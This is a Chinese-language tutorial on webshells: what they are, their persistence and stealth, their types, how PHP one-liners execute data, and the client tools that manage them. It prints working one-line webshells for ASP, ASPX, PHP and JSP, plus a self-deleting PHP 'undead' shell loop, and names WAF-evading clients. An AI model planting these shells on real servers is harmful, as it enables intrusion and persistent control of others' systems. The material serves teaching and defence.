WebShell基礎詳解(特點、原理、分類、工具)


一、WebShell簡介

Webshell就是以aspphpjspcgi等網頁文件形式存在的一種代碼執行環境,也可以將其稱做為一種網頁后門

“web”的含義是顯然 需要服務器開放web服務,“shell”的含義是 取得對服務器某種程度上操作權限
webshell常常被稱為入侵者通過網站端口對網站服務器的某種程度上操作的權限。
由於webshell其大多是以動態腳本的形式出現,也有人稱之為網站的后門工具。

黑客在入侵了一個網站后,通常會將asp或php后門文件與網站目錄下正常的網頁文件混在一起,然后就可以使用瀏覽器來訪問asp或者php后門,得到一個命令執行環境,以達到控制網站服務器的目的。步驟簡寫如下:

入侵網站
將ASP或PHP等后門文件混入正常網頁文件
通過網頁訪問后門文件
得到命令執行環境
控制網站服務器

Shell文件可從服務器那邊接收數據並執行、返回結果;也就是說我們只要把 shell 文件上傳到目標服務器,就能操控服務器了。

利用Webshell可以在Web服務器上執行系統命令、竊取數據、植入病毒、Le索核心數據、SEO掛馬等惡意操作,危害極大。

對於網站管理員來說,shell 文件也可以用於 網站管理、服務器管理、數據庫管理 等。根據FSO權限的不同,作用有在線編輯網頁腳本、上傳下載文件、查看數據庫、執行任意程序命令等。

二、WebShell特點

黑客使用Webshell的第一步通常是將其上傳到可以訪問的服務器中
例如利用用戶CMS系統的第三方插件中的漏洞上傳一個簡單的php Webshell。

當然,Webshell類型和作用也不完全相同
一些簡單的Webshell只起到連接外界的作用,允許黑客插入更加精准的惡意腳本,執行他們所需要的指令;
另外一些則可能更加復雜,帶有數據庫或文件瀏覽器,讓黑客能夠從數千英里之外的地方查看入侵系統的代碼和數據。
無論何種設計,Webshell都極其危險,是網絡罪犯和高級持續威脅(APT)的常用工具。

Webshell常見的攻擊特點主要有以下幾點:

1、持久化遠程訪問
Webshell腳本通常會包含后門,黑客上傳Webshell之后,就可以充分利用Webshell的后門實現遠程訪問並控制服務器,從而達到長期控制網站服務器的目的。此外,在上傳完Webshell之后,黑客會選擇自己修復漏洞,以確保沒有其他人會利用該漏洞。通過這種方式,黑客就可以一種低調的姿態,避免與管理員進行任何交互,同時仍然獲得相同的結果。

2、提權
在服務器沒有配置錯誤的情況下,Webshell將在web服務器的用戶權限下運行,而用戶權限是有限的。通過Webshell,黑客可以利用系統上的本地漏洞來實現權限提升,從而獲得Root權限,這樣黑客基本上可以在系統上做任何事情,包括安裝軟件、更改權限、添加和刪除用戶、竊取密碼、閱讀電子郵件等等。

3、隱蔽性極強
Webshell可以嵌套在正常網頁中運行,且不容易被查殺。它還可以穿越服務器防火牆,由於與被控制的服務器或遠程主機交互的數據都是通過80端口傳遞,因此不會被防火牆攔截,在沒有記錄流量的情況下,Webshell使用post包發送,也不會被記錄在系統日志中,只會在Web日志中記錄一些數據提交的記錄。

三、WebShell分類

Webshell根據腳本可以分為PHP腳本木馬,ASP腳本木馬,JSP腳本木馬,也有基於.NET的腳本木馬。根據時代和技術的變遷,也有用python和lua編寫的腳本木馬,常用有如下幾種:

大馬
體積大,功能全;會調用系統關鍵函數;以代碼加密進行隱藏

小馬
體積小,功能少;一般只有一個上傳功能,用於上傳大馬

一句話木馬
代碼短;使用場景大,可單獨生成文件,可插入文件;安全性高,隱藏性強,可變形免殺;框架不變,數據執行,數據傳遞;
使用客戶端管理webshell,省去使用命令行以及各種參數配置,可以使用中國蟻劍圖形化操作webshell

打包馬
主要用於打包網站源碼

拖庫馬
主要用於導出網站數據庫

內存馬
無文件落地;極難檢測和發現;難以清除

注:本文之后所講的WebShell就是指一句話木馬

四、WebShell原理

Webshell的惡意性表現在它的實現功能上,是一段帶有惡意目的的正常腳本代碼。

不同腳本類型的一句話木馬:

<%eval request("cmd")%>
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
<?php @eval($_POST['cmd']); ?>
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

在這里插入圖片描述
PHP一句話木馬核心步驟如下:

1、數據傳遞

$_GET$_POST$_COOKIES$_REQUEST$_FILE$_SERVER

遠程遠程URL中獲取數據: file_get_contentscurlsvn_checkout
(將需要執行的指令數據放在遠程URL中,通過URL_INCLUDE來讀取)

本地磁盤文件中獲取數據: filefile_get_contents
(將需要執行的指令數據放在本地磁盤文件中,利用IO函數來讀取)

數據庫中讀取(將需要執行的指令放在數據庫中,利用數據庫函數來讀取)

圖片頭部中獲取: exif_read_data…(將需要執行的指令數據放在圖片頭部中,利用圖片操作函數來讀取)

2、代碼執行

將用戶傳輸的數據進行執行

代碼執行函數evalassertsystem…執行(這是最普通、標准的代碼執行)

LFI(本地文件包含):includerequire…(利用瀏覽器的偽協議將文件包含轉化為代碼執行)

動態函數執行:($()…PHP的動態函數特性)

Curly Syntax:(${${…}}…它將執行花括號間的代碼,並將結果替換回去。這種思路可以把變量賦值的漏洞轉化為代碼執行的機會)

五、內存馬

這里以PHP的腳本木馬為主。

內存馬無文件攻擊的一種常用手段,隨着攻防演練熱度越來越高:攻防雙方的博弈,流量分析、EDR等專業安全設備被藍方廣泛使用,傳統的文件上傳的webshll或以文件形式駐留的后門越來越容易被檢測到,內存馬使用越來越多。

Webshell內存馬,是在內存中寫入惡意后門和木馬並執行,達到遠程控制Web服務器的一類內存馬,其瞄准了企業的對外窗口:網站、應用。但傳統的Webshell都是基於文件類型的,黑客可以利用上傳工具或網站漏洞植入木馬,區別在於Webshell內存馬是無文件馬,利用中間件的進程執行某些惡意代碼,不會有文件落地,給檢測帶來巨大難度。

PHP內存馬,也叫做PHP不死馬、不死僵屍,在線下AWD中是常用手段之一。
在蟻劍中也有專門的插件可以一鍵注入內存馬。
原理也很簡單,相對於Java可以直接把整個shell寫入內存,php內存馬的實現則是將一個木馬反復寫入,達到無法刪除的目的

<?php
ignore_user_abort(true); //設置客戶端斷開連接時是否中斷腳本的執行
set_time_limit(0); //設置腳本最大執行時間,linux下可能不大好用
unlink(__FILE__); //刪除自身
$file = 'shell.php';
$code = '<?php @eval($_POST["cmd"]);?>';
while (1) {
file_put_contents($file, $code);//惡意代碼
usleep(5000); //延遲執行可有可無
}
?>

本質上原理是不變大,執行死循環,然后刪除自身。但實際上這樣做還是會有文件落地,只是管理員刪不掉、刪不完罷了。
我們也可以用利用fastcgi對php攻擊執行命令,但這樣是否算一個駐留wenshell還有待爭議。

六、WebShell管理工具

中國菜刀(Chopper)
中國菜刀是一款專業的網站管理軟件,用途廣泛,使用方便,小巧實用。只要支持動態腳本的網站,都可以用中國菜刀來進行管理!在非簡體中文環境下使用,自動切換到英文界面。UNICODE方式編譯,支持多國語言輸入顯示。
官方網站:http://www.maicaidao.com/

中國蟻劍(AntSword)
中國蟻劍是一款開源的跨平台網站管理工具,它主要面向於合法授權的滲透測試安全人員以及進行常規操作的網站管理員。是一款非常優秀的webshell管理工具。使用編/解碼器進行流量混淆可繞過WAF,並且有多款實用插件。
因為菜刀也許有后門(偷shell),不放心可以用蟻劍,蟻劍還可以看源碼,功能也比菜刀強些。
項目地址:
https://github.com/AntSwordProject/antSword

冰蠍(Behinder)
冰蠍是一款基於Java開發的動態二進制加密通信流量的新型Webshell客戶端,由於它的通信流量被加密,使用傳統的WAF、IDS等設備難以檢測,目前在HW中使用較多的一款工具。下載下來的文件夾server 里的都是木馬。
功能介紹原文鏈接:
《利用動態二進制加密實現新型一句話木馬之客戶端篇》 https://xz.aliyun.com/t/2799
工作原理原文鏈接:
《利用動態二進制加密實現新型一句話木馬之Java篇》 https://xz.aliyun.com/t/2744
《利用動態二進制加密實現新型一句話木馬之.NET篇》 https://xz.aliyun.com/t/2758
《利用動態二進制加密實現新型一句話木馬之PHP篇》 https://xz.aliyun.com/t/2774
項目地址:
http://github.com/rebeyond/Behinder

哥斯拉(Godzilla)
哥斯拉是一款繼冰蠍之后又一款於Java開發的加密通信流量的新型Webshell客戶端,內置了3種有效載荷以及6種加密器,6種支持腳本后綴,20個內置插件,也是目前在HVV中使用較多的一款工具。
項目地址:https://github.com/BeichenDream/Godzilla

weevely
weevely 是 Linux 系統自帶的菜刀,使用python編寫的webshell工具,集webshell生成和連接於一身,采用c/s模式構建,可以算作一款 php菜刀 替代工具,具有很好的隱蔽性。
在linux上使用時還是很好的,集服務器錯誤配置審計,后門放置,暴力破解,文件管理,資源搜索,網絡代理,命令執行,數據庫操作,系統信息收集及端口掃描等功能。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM